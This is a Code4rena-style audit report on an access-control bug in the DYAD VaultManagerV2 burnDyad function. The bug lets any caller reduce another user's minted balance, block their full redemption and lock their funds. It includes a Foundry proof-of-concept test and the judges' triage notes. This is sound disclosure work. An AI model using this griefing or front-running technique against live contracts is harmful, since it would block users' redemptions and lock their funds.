Full redeem can be blocked by anyone by burning other users 1 wei DYAD

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L172-L181 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L184-L202

Vulnerability details

Impact

Due to a wrong modifier being used in burnDyad, anyone can use his tokens and decrease the mintedDyad mapping of a random user. Everyone can grief other users, by burning their tokens at any given moment.

Even more, it will create a discrepancy between the real DYAD balance of the user and the amount in the mintedDyad mapping. The result of this action will be that the user will not be able to withdraw his entire DYAD token balance, because of the difference, the remaining funds will be locked in the DYAD contract.

VaultManagerV2.sol#L172-L181

function burnDyad(
  uint id,
  uint amount
) 
  external 
    isValidDNft(id) //ISSUE wrong modifier used
{
  dyad.burn(id, msg.sender, amount);
  emit BurnDyad(id, amount, msg.sender);
}

In the scenario where the user wants to redeem all of his DYAD tokens by passing DYAD.balanceOf(him) or mintedDyad(him), anyone can burn 1 wei on his behalf, causing the next call to revert with an arithmetic underflow in DYAD.burn().

VaultManagerV2.sol#L184-L202

function redeemDyad(
  uint    id,
  address vault,
  uint    amount,
  address to
)
  external 
    isDNftOwner(id)
  returns (uint) { 
    dyad.burn(id, msg.sender, amount); // @audit will fail here
    Vault _vault = Vault(vault);
    uint asset = amount 
                  * (10**(_vault.oracle().decimals() + _vault.asset().decimals())) 
                  / _vault.assetPrice() 
                  / 1e18;
    withdraw(id, vault, asset, to);
    emit RedeemDyad(id, vault, amount, to);
    return asset;
}

Proof of Concept

This test shows that everyone can burn any user’s tokens and then user can withdraw only up to his mintedDyad and rest of his tokens will be locked in the DYAD contract.

In second test redeemDyad will revert with arithmetic if Alice was frontrun by someone when she want to redeem her whole DYAD balance.

In order to execute the test:

1. Add virtual to the setUp of BaseTest file.
2. Create new file and place the entire content there, then execute:

forge test --match-test test_decrease_mintedDyad_of_another -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";

import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20Mock} from "./ERC20Mock.sol";

contract VaultManagerV2Test is BaseTest {
    VaultManagerV2 vaultManagerV2;

    function setUp() public override {
        super.setUp();

        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));

        vm.prank(vaultLicenser.owner());
        vaultLicenser.add(address(wethVault));

        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));
    }

    function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
        public
        returns (uint256 nftId)
    {
        vm.deal(user, 2 ether);
        vm.startPrank(user);
        nftId = dNft.mintNft{value: 2 ether}(user);

        vaultManagerV2.add(nftId, address(wethVault));

        weth.mint(user, amountAsset);
        weth.approve(address(vaultManagerV2), amountAsset);

        vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
        vaultManagerV2.mintDyad(nftId, amountDyad, user);
        vm.stopPrank();
    }

    function test_decrease_mintedDyad_of_another() public {
        address bob = makeAddr("Bob");
        address alice = makeAddr("Alice");

        uint256 bobNft = mintDNFTAndDepositToWethVault(bob, 1.5e18, 1000e18);
        uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18, 1000e18);

        vm.prank(bob);
        vaultManagerV2.burnDyad(aliceNft, 1e18);

        assertGt(dyad.balanceOf(alice), dyad.mintedDyad(address(vaultManagerV2), aliceNft));

        vm.roll(block.number + 1);

        vm.startPrank(alice);
        console.log("Alice DYAD balance before redeem:", dyad.balanceOf(alice)); // 1000 DYAD
        vaultManagerV2.redeemDyad(aliceNft, address(wethVault), dyad.mintedDyad(address(vaultManagerV2), aliceNft), alice); // She can redeem max 999 DYAD
        console.log("Alice DYAD balance after redeem:    ", dyad.balanceOf(alice)); // 1 DYAD left and cannot be redeemed
        vm.stopPrank();
    }

    function test_decrease_mintedDyad_of_another_revert() public {
        address bob = makeAddr("Bob");
        address alice = makeAddr("Alice");

        uint256 bobNft = mintDNFTAndDepositToWethVault(bob, 1.5e18, 1000e18);
        uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18, 1000e18);

        vm.prank(bob);
        vaultManagerV2.burnDyad(aliceNft, 1); // Frontrunning full redeem by burning 1 wei

        assertGt(dyad.balanceOf(alice), dyad.mintedDyad(address(vaultManagerV2), aliceNft));

        vm.roll(block.number + 1);

        vm.startPrank(alice);
        vaultManagerV2.redeemDyad(aliceNft, address(wethVault), dyad.balanceOf(alice), alice); // She can redeem max 1000 DYAD - 1 wei
        vm.stopPrank();
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Instead of using isValidDNft modifier in burnDyad , consider using isDNftOwner.

Assessed type

Context

[c4-pre-sort]

JustDravee marked the issue as duplicate of #74

[c4-pre-sort]

JustDravee marked the issue as sufficient quality report

[c4-judge]

koolexcrypto marked the issue as duplicate of #992

[c4-judge]

koolexcrypto marked the issue as satisfactory

[c4-judge]

koolexcrypto marked the issue as duplicate of #100